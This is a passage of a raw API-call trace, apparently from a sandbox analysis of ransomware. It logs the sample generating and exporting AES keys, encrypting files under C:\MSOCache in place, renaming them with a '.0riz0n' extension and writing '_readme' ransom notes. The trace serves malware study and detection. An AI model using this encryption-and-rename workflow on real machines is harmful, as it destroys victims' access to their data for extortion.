lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0151.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.108] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-TW", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.109] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0151.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.109] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0151.109] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.109] GetLastError () returned 0x5 [0151.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.109] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.109] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.109] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0151.111] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.111] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.111] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.111] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.111] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.111] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.111] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.111] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0151.111] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.111] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0151.111] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.111] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0151.111] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.111] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0151.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0151.111] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0151.112] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.112] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.112] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.112] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.112] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0151.112] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0151.113] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0151.113] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0151.113] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0151.113] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0151.155] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0151.155] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0151.155] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0151.155] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0151.155] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x780) returned 0x9a8bc8 [0151.155] ReadFile (in: hFile=0x1c0, lpBuffer=0x9a8bc8, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9a8bc8*, lpNumberOfBytesRead=0x1a7fab0*=0x750, lpOverlapped=0x0) returned 1 [0151.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x780) returned 0x1f60848 [0151.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9a8bc8) returned 1 [0151.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x780) returned 0x9a8bc8 [0151.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0151.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f60848) returned 1 [0151.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb80) returned 0xa58890 [0151.157] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x750, dwBufLen=0xb50 | out: pbData=0xa58890*, pdwDataLen=0x1a7faac*=0x760) returned 1 [0151.157] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0151.157] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0151.158] WriteFile (in: hFile=0x1c0, lpBuffer=0x9a8bc8*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x9a8bc8*, lpNumberOfBytesWritten=0x1a7fab0*=0x750, lpOverlapped=0x0) returned 1 [0151.158] FlushFileBuffers (hFile=0x1c0) returned 1 [0151.161] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0151.161] NtClose (Handle=0x1c0) returned 0x0 [0151.161] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0151.162] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0151.162] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0151.162] GetLastError () returned 0x2 [0151.162] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9844c8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0151.162] GetLastError () returned 0x2 [0151.162] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0151.162] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0151.162] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0151.163] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0151.163] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0151.165] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0151.165] NtClose (Handle=0x1c0) returned 0x0 [0151.165] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0151.165] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0151.165] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0151.165] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9a8bc8) returned 1 [0151.165] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0151.165] CryptDestroyKey (hKey=0x829d78) returned 1 [0151.165] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0151.165] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0151.165] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0151.165] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.165] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f)) returned 1 [0151.167] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.167] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.167] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.167] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.167] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.167] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.167] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.167] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f)) returned 1 [0151.167] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.167] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0151.167] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.167] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0151.167] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.167] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f)) returned 1 [0151.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0151.168] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0151.168] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.168] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.168] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.168] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.168] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0151.168] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0151.168] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0151.168] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0151.168] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0151.168] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0151.169] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0151.169] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0151.169] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0151.169] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0151.169] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3e7e40) returned 0x2340020 [0151.169] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0x3e7e1f, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0x3e7e1f, lpOverlapped=0x0) returned 1 [0151.373] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3e7e40) returned 0x2730020 [0151.469] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0151.486] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3e7e40) returned 0x2340020 [0151.487] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0151.664] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2730020) returned 1 [0151.778] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x3e8240) returned 0x2730020 [0152.017] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2730020*, pdwDataLen=0x1a7faac*=0x3e7e1f, dwBufLen=0x3e821f | out: pbData=0x2730020*, pdwDataLen=0x1a7faac*=0x3e7e20) returned 1 [0152.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2730020) returned 1 [0152.252] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0152.252] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0x3e7e1f, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0x3e7e1f, lpOverlapped=0x0) returned 1 [0152.711] FlushFileBuffers (hFile=0x1c0) returned 1 [0153.219] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0153.219] NtClose (Handle=0x1c0) returned 0x0 [0153.220] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.0riz0n")) returned 1 [0153.220] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0153.220] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0153.221] GetLastError () returned 0x2 [0153.221] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9844e8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0153.221] GetLastError () returned 0x2 [0153.221] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0153.233] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0153.233] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0153.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0153.234] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x7) returned 0xa9d278 [0153.234] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0153.234] NtClose (Handle=0x1c0) returned 0x0 [0153.234] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0153.235] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0153.235] RtlFreeHeap 